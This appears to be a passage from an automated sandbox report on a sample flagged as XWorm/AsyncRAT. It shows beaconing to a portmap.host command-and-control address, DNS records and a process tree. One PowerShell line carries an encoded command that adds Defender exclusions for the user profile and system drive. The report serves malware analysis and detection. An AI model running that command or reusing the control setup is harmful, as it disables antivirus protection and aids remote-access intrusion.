Mar 16, 2025 13:10:18.110315084 CET	49767	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:18.112289906 CET	41078	49766	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:18.115014076 CET	41078	49767	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:18.115078926 CET	49767	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:18.150284052 CET	49767	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:18.155241966 CET	41078	49767	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:19.764240980 CET	41078	49767	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:19.764311075 CET	49767	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:23.201404095 CET	49767	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:23.202939987 CET	49768	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:23.206129074 CET	41078	49767	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:23.207628012 CET	41078	49768	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:23.207695007 CET	49768	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:23.240792036 CET	49768	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:23.245443106 CET	41078	49768	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:23.279725075 CET	49768	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:23.284477949 CET	41078	49768	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:24.861304998 CET	41078	49768	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:24.864451885 CET	49768	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:28.344188929 CET	49768	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:28.346059084 CET	49769	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:28.352019072 CET	41078	49768	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:28.354089022 CET	41078	49769	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:28.354209900 CET	49769	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:28.586102009 CET	49769	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:28.591010094 CET	41078	49769	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:30.034718037 CET	41078	49769	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:30.034786940 CET	49769	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:33.701652050 CET	49769	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:33.703762054 CET	49770	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:33.706379890 CET	41078	49769	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:33.709311962 CET	41078	49770	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:33.709378958 CET	49770	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:33.744040966 CET	49770	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:33.748786926 CET	41078	49770	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:35.372462034 CET	41078	49770	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:35.372536898 CET	49770	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:38.781677961 CET	49770	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:38.782514095 CET	49771	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:38.786456108 CET	41078	49770	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:38.787229061 CET	41078	49771	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:38.787333965 CET	49771	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:39.003680944 CET	49771	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:39.008479118 CET	41078	49771	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:40.437388897 CET	41078	49771	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:40.437506914 CET	49771	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:44.312792063 CET	49771	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:44.313827991 CET	49772	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:44.317583084 CET	41078	49771	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:44.318532944 CET	41078	49772	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:44.318658113 CET	49772	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:44.481995106 CET	49772	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:44.486712933 CET	41078	49772	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:45.988286018 CET	41078	49772	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:45.988369942 CET	49772	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.498606920 CET	49772	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.502090931 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.503377914 CET	41078	49772	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:49.506830931 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:49.506895065 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.549520016 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.554223061 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:49.654937983 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.659632921 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:49.686027050 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.690692902 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:49.748537064 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.754509926 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:49.936309099 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.943798065 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:49.951716900 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.959435940 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:49.967294931 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:49.974744081 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:49.998617887 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:50.004221916 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:50.123549938 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:50.129184961 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:51.155086994 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:51.158202887 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:55.187570095 CET	49774	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:55.187570095 CET	49773	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:55.192326069 CET	41078	49773	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:55.192341089 CET	41078	49774	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:55.194120884 CET	49774	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:55.288131952 CET	49774	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:55.292884111 CET	41078	49774	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:56.858045101 CET	41078	49774	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:56.858232021 CET	49774	41078	192.168.2.4	193.161.193.99

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 16, 2025 13:06:58.466489077 CET	62613	53	192.168.2.4	1.1.1.1
Mar 16, 2025 13:06:58.475517988 CET	53	62613	1.1.1.1	192.168.2.4
Mar 16, 2025 13:06:58.779984951 CET	54966	53	192.168.2.4	1.1.1.1
Mar 16, 2025 13:06:58.807938099 CET	53	54966	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 16, 2025 13:06:58.466489077 CET	192.168.2.4	1.1.1.1	0x7e89	Standard query (0)	settings-ssl.xboxlive.com	A (IP address)	IN (0x0001)	false
Mar 16, 2025 13:06:58.779984951 CET	192.168.2.4	1.1.1.1	0x8835	Standard query (0)	Dyno15-41078.portmap.host	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 16, 2025 13:06:58.475517988 CET	1.1.1.1	192.168.2.4	0x7e89	No error (0)	settings-ssl.xboxlive.com	settings-ssl.xboxlive.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 16, 2025 13:06:58.475517988 CET	1.1.1.1	192.168.2.4	0x7e89	No error (0)	settings-ssl.xboxlive.com.edgekey.net	e87.dspb.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 16, 2025 13:06:58.475517988 CET	1.1.1.1	192.168.2.4	0x7e89	No error (0)	e87.dspb.akamaiedge.net		92.123.20.9	A (IP address)	IN (0x0001)	false
Mar 16, 2025 13:06:58.807938099 CET	1.1.1.1	192.168.2.4	0x8835	No error (0)	Dyno15-41078.portmap.host		193.161.193.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

settings-ssl.xboxlive.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49710	92.123.20.9	443	7992	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-16 12:06:59 UTC	216	OUT	GET /XBLWinClient/v10_music/configuration.xml HTTP/1.1 Accept: / User-Agent: XBLWIN10.19071 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br Host: settings-ssl.xboxlive.com Connection: Keep-Alive
2025-03-16 12:06:59 UTC	249	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=3600 Content-Type: text/xml X-Content-Type-Options: nosniff X-XblCorrelationId: dcca7236-6e99-4fe7-b6cc-f04b265950e5 Date: Sun, 16 Mar 2025 12:06:59 GMT Content-Length: 2659 Connection: close
2025-03-16 12:06:59 UTC	2659	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 63 6c 69 65 6e 74 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 58 62 6c 57 69 6e 43 6c 69 65 6e 74 2f 32 30 31 32 2f 30 33 22 20 76 65 72 73 69 6f 6e 3d 22 31 22 3e 0d 0a 20 20 20 20 3c 74 61 72 67 65 74 65 64 43 6c 69 65 6e 74 3e 58 62 6c 57 69 6e 43 6c 69 65 6e 74 3c 2f 74 61 72 67 65 74 65 64 43 6c 69 65 6e 74 20 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 3c 72 69 67 68 74 73 3e 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 Data Ascii: <?xml version="1.0" encoding="utf-8"?><clientConfiguration xmlns="http://schemas.microsoft.com/XblWinClient/2012/03" version="1"> <targetedClient>XblWinClient</targetedClient > <rights>Copyright (c) Microsoft C

Target ID:	0
Start time:	08:06:50
Start date:	16/03/2025
Path:	C:\Users\user\Desktop\test2.exe.bin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\test2.exe.bin.exe"
Imagebase:	0x400000
File size:	153'600 bytes
MD5 hash:	2AA459D8249147D19837B06C8640A950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1208279408.0000000002E50000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1208279408.0000000002E50000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	08:06:51
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAYgB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAYwBuACMAPgA="
Imagebase:	0xfd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	08:06:51
Start date:	16/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	08:06:51
Start date:	16/03/2025
Path:	C:\Users\user\AppData\Local\Temp\XClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\XClient.exe"
Imagebase:	0x190000
File size:	66'560 bytes
MD5 hash:	4D152B9AAAEC95BD696369CE3793BBF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000000.1156694138.0000000000192000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000000.1156694138.0000000000192000.00000002.00000001.01000000.00000006.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\XClient.exe, Author: Joe Security Rule: rat_win_xworm_v3, Description: Finds XWorm (version XClient, v3) samples based on characteristic strings, Source: C:\Users\user\AppData\Local\Temp\XClient.exe, Author: Sekoia.io Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\XClient.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	false

Target ID:	4
Start time:	08:06:52
Start date:	16/03/2025
Path:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe" -ServerName:Microsoft.ZuneMusic.AppX48dcrcgzqqdshm3kf61t0cm5e9pyd6h6.mca
Imagebase:	0x7ff65a350000
File size:	23'140'864 bytes
MD5 hash:	F963F75C0AD152437E10D656A00793A3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	08:06:56
Start date:	16/03/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6ca680000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	08:06:56
Start date:	16/03/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff75b8b0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	18
Start time:	08:07:11
Start date:	16/03/2025
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\OpenWith.exe -Embedding
Imagebase:	0x7ff7a3bd0000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	19
Start time:	08:07:19
Start date:	16/03/2025
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\OpenWith.exe -Embedding
Imagebase:	0x7ff7a3bd0000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true